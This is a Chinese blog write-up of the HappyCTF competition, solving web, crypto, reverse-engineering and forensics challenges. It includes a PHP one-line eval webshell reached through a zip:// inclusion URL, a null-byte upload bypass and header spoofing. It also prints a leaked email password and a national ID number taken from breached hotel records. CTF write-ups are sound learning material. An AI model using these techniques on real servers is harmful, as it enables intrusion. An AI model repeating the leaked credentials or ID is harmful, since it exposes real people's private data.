前言

这次的HappyCTF算是济南赛博和杭州安恒合作的吧,用的是安恒的平台,必须有VPN连接才能访问靶机着实令人蛋疼。。题目也是安恒的题目,差不多都是之前的一些比赛中出现过的题目吧,但是自己还是没做出多少来。。。还是太菜吧,最后看了看有成绩的107人,也就是差不多100多人参加吧,自己最后的排名定格在了第27,5200分。。。也就水水,学习一波吧。。
这次所有题目均放出,一共64道题目,但是比赛时间就很紧张了,早八点到晚八点,12个小时时间,以往像今天这种题量的比赛都是48小时,也许是因为题目原因吧,所以压缩了比赛时间。。感觉题目质量一般吧(也许是因为我做的都是简单的。。。),大多数都是考脑洞。。并且很蛋疼的脑洞。。。但是自己也还是学到了很多东西,也算是有不小的收获吧!
下面是这次比赛的积分榜和我的writeup
膜膜膜膜膜膜
而我在这里而我在这里

安可限南北

我不是蜘蛛(100)

扫了一下,发现有robots.txt文件,访问如下

打开后继续访问得到flag

寂静之城(200)

这是个社工题目。说实话如果是让自己去做的话,根本做不出来的,不过嘛!你懂得。。。这是之前一个比赛的题目,根据题目,很明显,这题应该是一个社工题目,打开题目给的网址,还真是一篇小说!还特别长,难道真的要让我们看完小说然后从小说中找线索吗?要真是这样就坑爹了,直接跳过小说内容,看看有什么其他的线索,发现下面有回应,推荐,喜欢,仔细看看,说不定有线索,
在“喜欢”栏发现了出题人的踪迹,

进去发现这样三个信息

首先是出题人的163邮箱,然后是一段密文,看起来像是AES或者DES加密的,然后提示说秘钥就是邮箱的密码。163的库刚放出来就拿来出题还真是与时俱进啊!经过一番的搜索终于找到weiluchuan12341127@163.com对应的密码是63542021127,对密文进行解密,得到一个微博地址:http://weibo.com/u/3192503722

进微博,发现出题人姓名DJ

但是已经没有微博了。。。。。去找了原来题目的wp,看了下,原来是去查开房记录。。。。。


现在好了,flag就在眼前了,现在已经有了密钥,还差身份证号码了,知道了出题人的名字,和开房时间,果断去查开房记录啊!为了出这道题我也是拼了啊!不过不是我的身份证号。同名的而已

最后查到身份证号码为:310104199208314813

搞定:flag为:31010419920831481363542021127

全家在一林

管理员的愤怒(100)

昨天热身赛的时候已经做过这个题目了,扫描目录可以得到两个路径 /include 和 /dbadmin,从/include路径下得到登录后台的用户名和密码,直接登录后台即可得到flag~

粽子的来历(500)

下载文件,解压发现有一些doc解压后的文件和四个doc文档,按照题目提示寻找dbapp标记,挨个打开文档,发现只有我是C.doc文件内有一句含有dbapp标记的字符串,但是文件内容已经无法查看了,需要修复。用winhex打开文档,发现在万“F”丛中只有那么一句字符串,,于是把字符串的16进制位全部换位F,保存后发现文件内容已经可以查看了,是屈原的《离骚》,然后就没有思路了。。。看题目说的是答案的MD5值,有仔细看了一下文档内容,发现每句诗的行间距不一样!把间距大的行定为1,小的定为0,得到一串01串,然后MD5后提交,此题水过~

届府换歌词

无权查看(300)

打开连接直接forbidden

查看源码发现有个index.php.bak文件,访问如下

是段PHP,这就很简单了,提交直接拿到flag

rar(100)

经典题目,根据提示直接暴力破解就好了

文件中的秘密(100)

解压后得到一个图片,右键属性,flag就出来了

reverse2(100)

O(∩_∩)O哈哈 这个要好好说说了,因为这可能算是自己做出来的第一个逆向题目了,查看文件后发现ELF标志和 {hacking_for_fun},是个Linux文件,放到了kali,跑了一下,让输入flag,虽百年尝试了一些字符,都是wrong flag,然后突然想起刚才的那个字符串,试了一下,确实是flag,然后就去提交了,结果却不对,我想也是,一个逆向题怎么能这么简单。。然后就祭出神器IDA,发现了让输入flag的那段代码,一键F5,转换成C。。虽然代码看起来很蹩脚,但意思还是很容易懂的,将字母 ir都替换成 1,提交通过

娱在水云中

upload(100)

上传一个GIF图片,抓包,修改报头中的filename为“1.gif%001.php”,即使用%00截断即可

救市捷径(100)

热身赛的时候已经做过了,求最短路径即可。

乐禅心似荡

刮刮乐(100)

这个题目一开有点懵逼。。挂了好几次都是没中。。然后就以为为js的特效,就没去做,去看了其他题目,过了会又看了一下,审查元素,发现挂卡的地方是个canvas,把整个网页保存,发现有下面这么多文件

但就是没有后面显示文字的图片,以为有别的什么注入一类的套路,但是连续点击了记下后发现底层的图片会变化,然后有尝试了几次,终于抓到了那个图片,刮开拿到flag~

隐藏的钥匙(100)

notepad++打开发现flag,base64了,解码即可~

圈未有年颜

包罗万象(500)

这个根据题目要求将php马压缩zip文件,然后利用zip协议在服务器端解压,然后直接连菜刀即可。
<?php phpinfo();@eval($_POST['g']);?>
http://9.9.9.23/index.php?url=zip:///var/www/html/upload/8d7256a9bb5519e8507d7b23e7182c64.zip%231

异性相吸(300)

这个下载下来得到两个文件,一个明文,一个密钥,根据题目,推断是比特位异或,最近刚学了Java,趁机学习一波~

欢娱接宾客

我的博客(500)

这个根据提示得到flag文件的位置在/key/flag.php,打开博客,发现有几篇文章,点开后注意这里的url,猜测有文件包含,

试了一下发现了这个

但是看不到flag,然后查看了一下源码,原来flag在这里。。。

乐童翻怨调

内涵的软件(300)

直接IDA跑一下,发现一串字符串,提交即可

萌萌哒的八戒(100)

猪圈密码,找个对照表解密一下就好了

夺宠心那惯

第三个空白页(500)

查看源码得到一个参数way=AHAHAH,直接传参数发现只能本地才能访问flag,于是抓包利用x-forwarded-for,伪装成本地访问,拿到flag


ningen(300)

直接爆破即可,最后得到flag{b025fc9ca797a67d2103bfbc407a6d5f}

赛雨恋烟霞

iPhone6(300)

这个一开始想简单了,直接开WiFi用同学的iPhone连接后访问地址,但是不行。。。打不开,应该是VPN的原因,然后又一想,也许即使能打开,也许flag也可能无法显示出来,然后就抓了一下包,将报头中的user-agent替换为iPhone的就好了

坏蛋是雷宾(500)

题目解析:PK是公钥的意思。所以这是一道和公钥体制有关系的题目。公钥的算法有很多,比如RSA,比如ECC。Rabin算法也是一种,这个在大学时代是学过的。但是我第一反应是Miller-Rabin算法,这是一个基于概率的素数测试算法。其中的Rabin是指Michael O. Rabin,他是哈佛大学教授。我09年在清华还见过他,听过他的报告。但是还有一个Rabin公钥体制,我差点忘记了……这里花了一些纠结的时间。

其实Rabin的公钥密码体制和RSA有点类似,公钥 n=p*q ,私钥就是p和q。加密过程由明文m在平方后与n求模得到c,其次就是二次同余的过程。解密的时候就求出密文的平方根在两个私钥模值(p或者q)下的同余即可。

由于本题中的数不大,所以直接用程序暴力破解也可以。即找到一个数,使得其平方值与密文对于模值n同余,由于是平方,而且n不是素数,所以一共会得到四个解:115739001、408059548、214318436、309480113。

然后我们再看题目的信息,校验码的二进制值是二进制值是110001,我们看一下四个解中,偶数可以直接排除了,然后转换一下剩下的两个奇数解,得到309480113的二进制码“10010011100100100101010110001”,这后面六位和校验码是一致的。

那剩下的部分就是明文了,即“10010011100100100101010”,转换成十进制为4835626,求MD5值为ca5cec442b2734735406d78c88e90f35,得到答案。

总结

水了一天,还是有很多收获的吧,虽然还有好多题,还没来得及做,有一些知道怎么做但是最后还是存在一些问题,但整体来说还是挺有意义的一席比赛吧,跟大佬学习到了很多东西,希望在以后的路上能收获越来越多,走得越来越远吧 (wp还没写完,因为有一些题目忘了怎么,靶机还没开,等开了后再补上剩下的吧


声明:
文章标题:实习生活第十四天(第一届HappyCTF网络安全竞赛writeup)
文章作者:h3h3da
文章链接:https://www.liucunzhan.com/p/6f806a3e-71ce-4bb1-8095-ea2eb9595a2e
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。


喜欢,就支持我一下吧~